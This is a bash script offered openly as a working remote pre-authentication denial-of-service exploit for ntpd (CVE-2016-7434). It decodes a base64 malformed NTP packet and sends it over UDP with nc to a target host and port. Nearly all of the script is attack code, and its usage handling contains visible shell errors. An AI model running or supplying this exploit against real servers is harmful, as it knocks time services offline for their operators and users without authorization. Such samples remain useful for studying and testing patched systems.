#!/bin/bash

# CVE-2016-7434 ntpd remote pre-auth Denial of Service exploit
# Author: opsxcq <opsxcq@thestorm.com.br>

function usage(){
    'Usage exploit.sh <target> <port>'
}

buffer="FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsYWRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA="

if [ -z "$1" ]
then
    usage()
    exit -1
fi

target=$1

if [ -z "$2" ]
then
    usage()
    exit -1
fi

port=$2

echo '[+] CVE-2016-7434 ntpd remote pre-auth Denial of Service exploit'
echo '[+] Sending buffer to target '$target':'$port
echo $buffer | base64 -d | nc -u -v $target $port